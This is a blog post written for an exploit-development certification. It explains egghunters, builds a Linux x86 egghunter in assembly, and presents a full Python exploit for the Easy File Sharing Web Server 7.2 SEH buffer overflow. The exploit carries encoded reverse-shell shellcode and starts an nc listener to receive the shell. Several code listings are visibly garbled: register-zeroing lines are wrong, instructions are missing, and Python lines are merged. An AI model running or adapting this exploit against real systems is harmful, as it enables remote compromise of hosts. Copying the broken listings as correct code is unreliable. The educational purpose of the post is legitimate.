Egghunter with Intel x86

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID Assignment N# GitHub
SLAE-975 3


In this post we will discuss this weird thing called egghunter, what is his utility and in which cases? For that, this post is going to be split-ed in three parties.

  • Egghunter from scratch;
  • Egghunter?! what da f*ck and
  • Egghunter in a Windows exploit

What you need in order to reproduce the process:

  • A Linux x86 system (Kali Linux in my case)
  • Your brain (and maybe a cup a coffee or eight)

If you want to recreate for scratch the windows exploit:

Egghunter?! What da f*ck

An egghunter is a sequence of instructions that can parse the stack and the heap in order to find the location of a given pattern and jump right after it to redirect the execution flow. There are different egghunters all around the Web, but here, we will create a basic egghunter that use the access Linux system call

However, why an egghunter can be useful, and why we need to learn how to use it?

Sometimes, in exploit development you don’t have enough place after smashing the stack and you need to find a place where you can put your shellcode and redirect the execution flow at the beginning of this malicious code in order to execute it. With only few bytes, in most cases, no more than 40 bytes, you can inject your egghunter and put in any other place you eight bytes pattern followed by your shellcode, after that, you only need to wait.

The egghunter is going to search in the stack and the heap for our eight byte pattern and then, when he found it, jump to him.For this reason, egghunters are highly use in exploit development. This a must have technique.

Virtual Address Space

First, let me show you this awesome picture from Gustavo Duarte. This is, one of the best if not the best post and picture to understand the Linux memory layout and in our case the memory parsing.

Note, this is for x86 (32 bits) architecture.


How egghunter works?!

Two major type of egghunter exist:

  • Byte crawling egghunter;
  • Page crawling egghunter.

The Byte crawling egghunter start from the top of the stack and parse every single byte until he found the eight byte pattern, but if the egghunter try to parse an unmapped memory area we will have a segmentation fault (SIGSEV).

While, the page crawling egghunter, first check if the memory page (4096 bytes) is usable or not. If yes, search for the pattern, else move in another memory page. It is easy to understand that the second one, is much more robust than the first one.

So, our egghunter will do a string comparison for each byte in usable memory pages and will redirect the execution flow if the result of the string comparison is not null.

Egghunter from Scratch

All this work is based on the awesome documentation of Skape.

First, we need to initialise all registers that we will use, such as EDX and ECX. After that, we will create two procedures that they will increment EDX with one memory page (4096 bytes in our case) or increment EDX by one. Note, we use the cld instruction to be sure the direction flag (DF) is unset since we will use later the scasd instruction.

So, the beginning of the code should be looking like that:

global _start

section .text
   cld                 ; Clear the direction flag  
   mov ecx, ecx        ; zeroed ECX
   mov edx, edx        ; zeroed EDX

   or edx, 0xfff       ; Next memory page (4096 bytes)

   inc edx             ; EDX = EDX + 1

Then, we are going to find if the current memory page is usable. For that, we can use the access system call that are checking for user’s permissions for a file and in our case the currently executed binary.

EAX will point to the system call number and EBX to the memory page content.


   lea ebx, [edx + 4]  ; First bytes if the memory page
   push byte 0x21      ;
   pop eax             ; #define __NR_access 33
   int 0x80            ; Interruption

When the access subroutine try to access to the given memory page first bytes, but can not use it due to an invalid memory page, an EFAULT error is throw.

That means, we try to access to a place outside the memory space usable by our binary. So, if the result of the access subroutine is equal to EFAULT (0xfffffffe = -14) we will increment the EDX register by one, else we are in an usable memory page.

cmp al, 0xf2        ; Is EFAULT ?
jnz inc_page        ; Inc memory page

OK, now, we are ready to search in an usable memory page our pattern. The easiest way is put into EAX our pattern, and to use the scasd instruction, which is really good explained here.

The scasd instruction will return zero if the value of the EDI register and EAX are equal, else, return one if the value of the EDI register and the EAX register are not equal. With this simple logic we can create a loop that will run until we found our pattern.

Here, EAX contain our pattern and EDI the string that we want to compare to EAX.

   mov eax, 0x416d6f6e  ; Amon | our pattern
   mov edi, edx         ; 
   scasd                ; Compare EAX and EDI
   jnz inc_one          ; Not good? Inc EDX
   scasd                ; Compare EAX and EDI
   jnz inc_one          ; Not good? Inc EDX

   jmp edi              ; Jump to our shellcode

Note that in order to have a more reliable egghunter and to avoid the egghunter to redirect the execution flow into himself, our pattern, before our shellcode, is doubled, that is why we use two times the scasd instruction.

Finally we have something like that:

global _start

section .text
    xor ecx, ecx
    xor edx, edx

    or dx, 0xfff

    inc edx

    lea ebx, [edx+0x4]
    push byte 0x21
    pop eax
    int 0x80
    cmp al, 0xf2
    jz inc_page

    mov eax, 0x416d6f6e ; Amon
    mov edi, edx
    jnz inc_one
    jnz inc_one

    jmp edi

We can compile the code and extract the shellcode:

[email protected]:/opt/slae/assignment-3$ nasm -felf32 egghunter.asm
[email protected]:/opt/slae/assignment-3$ ld -melf_i386 egghunter.o -o egg
[email protected]:/opt/slae/assignment-3$ objdump -d ./egg |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
[email protected]:/opt/slae/assignment-3$

Now, let us create a simple shellcode with the Metasploit framework:

[email protected]:/opt/slae/assignment-3$ msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b '\x00' -v shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char shellcode[] = 

We have everything ready, we can now create a C file that will use our egghunter in order to find and execute our Metasploit’s shellcode.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned char egghunter[] = \
"\x6e\x6f\x6d\x41" // Amon

unsigned char shellcode[] = \
"\x6e\x6f\x6d\x41\x6e\x6f\x6d\x41" // AmonAmon

void main(void){
    int egghunterLenght = strlen(egghunter);
    int shellcodeLenght = strlen(shellcode);
    char memory[shellcodeLenght + 50];

    printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
    printf("Shellcode Length:  %d\n", strlen(shellcode));

    strcpy(memory, shellcode);          // put shellcode in stack

    int (*ret)() = (int(*)())egghunter;

Let us compile this code:

[email protected]:/opt/slae/assignment-3$ gcc -fno-stack-protector -z execstack exploit.c -o exploit
[email protected]:/opt/slae/assignment-3$

Note, here I use strace in order to see the parsing process.

[email protected]:/opt/slae/assignment-3$ strace ./exploit

strace gif

Egghunter in a Windows Exploit

A Few times ago, I started to learn Windows’ exploits development and I quickly learned the usefulness of egghunters. I let a really well known script called did it for me.

And this following code is one of my Windows’ exploit that I built from scratch:

#!/usr/bin/env python
import sys
import socket
import struct
import subprocess

# Exploit: Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)        #
# OS Tested: XP PRO SP3 (Professional); Windows 7 SP1                              #
# Author: Amonsec                                                                  #
# Software:                                       #
#                   60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe                  #
# Thanks:                                                                          #
#       Corelan    (                                       #
#       b33f       (                                #
#       Ch3rn0byl  (                                         #
if len(sys.argv) < 3:
    print '[*] Easy File Sharing v7.2 exploit'
    print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])
    rhost = sys.argv[1]
    rport = int(sys.argv[2])

# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST= -a x86 -n 20 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c' #
shellcode =  ""
shellcode += "\x4a\x41\x41\x93\xfd\x91\x99\x41\x3f\xf5\xd6\xd6"
shellcode += "\x37\x90\x49\x90\x9b\xf9\x27\x98\xbf\x83\xd1\x55"
shellcode += "\xd1\xd9\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"
shellcode += "\x31\x78\x12\x83\xe8\xfc\x03\xfb\xdf\xb7\x24\x07"
shellcode += "\x37\xb5\xc7\xf7\xc8\xda\x4e\x12\xf9\xda\x35\x57"
shellcode += "\xaa\xea\x3e\x35\x47\x80\x13\xad\xdc\xe4\xbb\xc2"
shellcode += "\x55\x42\x9a\xed\x66\xff\xde\x6c\xe5\x02\x33\x4e"
shellcode += "\xd4\xcc\x46\x8f\x11\x30\xaa\xdd\xca\x3e\x19\xf1"
shellcode += "\x7f\x0a\xa2\x7a\x33\x9a\xa2\x9f\x84\x9d\x83\x0e"
shellcode += "\x9e\xc7\x03\xb1\x73\x7c\x0a\xa9\x90\xb9\xc4\x42"
shellcode += "\x62\x35\xd7\x82\xba\xb6\x74\xeb\x72\x45\x84\x2c"
shellcode += "\xb4\xb6\xf3\x44\xc6\x4b\x04\x93\xb4\x97\x81\x07"
shellcode += "\x1e\x53\x31\xe3\x9e\xb0\xa4\x60\xac\x7d\xa2\x2e"
shellcode += "\xb1\x80\x67\x45\xcd\x09\x86\x89\x47\x49\xad\x0d"
shellcode += "\x03\x09\xcc\x14\xe9\xfc\xf1\x46\x52\xa0\x57\x0d"
shellcode += "\x7f\xb5\xe5\x4c\xe8\x7a\xc4\x6e\xe8\x14\x5f\x1d"
shellcode += "\xda\xbb\xcb\x89\x56\x33\xd2\x4e\x98\x6e\xa2\xc0"
shellcode += "\x67\x91\xd3\xc9\xa3\xc5\x83\x61\x05\x66\x48\x71"
shellcode += "\xaa\xb3\xdf\x21\x04\x6c\xa0\x91\xe4\xdc\x48\xfb"
shellcode += "\xea\x03\x68\x04\x21\x2c\x03\xff\xa2\x93\x7c\xa1"
shellcode += "\xb2\x7c\x7f\x5d\xc9\x15\xf6\xbb\x47\xf6\x5e\x14"
shellcode += "\xf0\x6f\xfb\xee\x61\x6f\xd1\x8b\xa2\xfb\xd6\x6c"
shellcode += "\x6c\x0c\x92\x7e\x19\xfc\xe9\xdc\x8c\x03\xc4\x48"
shellcode += "\x52\x91\x83\x88\x1d\x8a\x1b\xdf\x4a\x7c\x52\xb5"
shellcode += "\x66\x27\xcc\xab\x7a\xb1\x37\x6f\xa1\x02\xb9\x6e"
shellcode += "\x24\x3e\x9d\x60\xf0\xbf\x99\xd4\xac\xe9\x77\x82"
shellcode += "\x0a\x40\x36\x7c\xc5\x3f\x90\xe8\x90\x73\x23\x6e"
shellcode += "\x9d\x59\xd5\x8e\x2c\x34\xa0\xb1\x81\xd0\x24\xca"
shellcode += "\xff\x40\xca\x01\x44\x70\x81\x0b\xed\x19\x4c\xde"
shellcode += "\xaf\x47\x6f\x35\xf3\x71\xec\xbf\x8c\x85\xec\xca"
shellcode += "\x89\xc2\xaa\x27\xe0\x5b\x5f\x47\x57\x5b\x4a"

egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
egghunter += '\xea\xaf\x75\xe7\xff\xe7'

buffer = ''
buffer += '\x41' * 2000
buffer += 'hivehive' 
buffer += '\x90' * 20
buffer += shellcode
buffer += '\x90' * (4013 - 2000 - 8 -20 - len(shellcode))
buffer += egghunter
buffer += '\x90' * 16
buffer += struct.pack('<L', 0x909006eb)
buffer += struct.pack('<L', 0x100194b2)
buffer += '\xeb\xc4'
buffer += '\x90' * (5500 - 4061 - 8 - 2)

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(buffer)

    print '[*] Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)'
    print '[*] Target: {}:{}'.format(rhost, rport)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    print '[*] Connection established'

    print '[*] Send exploit: {} bytes'.format(len(buffer))

    print "\n[*] Brrrrrraaaaah! Time for a shell?! huhg"['nc -lnvvp 31337'], shell=True)
    print "[-] Host unreachable"

Schema of the exploit’s structure:

The Stack:                                                       +----------------> 
    [AA..AA] [NOPs + shellcode] [NOPs] [egghunter] [NOPs]   [nseh]   [seh]   [\xeb\xc4] [NOPs]
     +---------------------------------------------------------------->  |           | 
              ^                         ^       |               <--------+           | 
              |                         |-------|------------------------------------+

Our egghunter (from Immunity Debugger):


Our shellcode (from Immunity Debugger):



windows exploit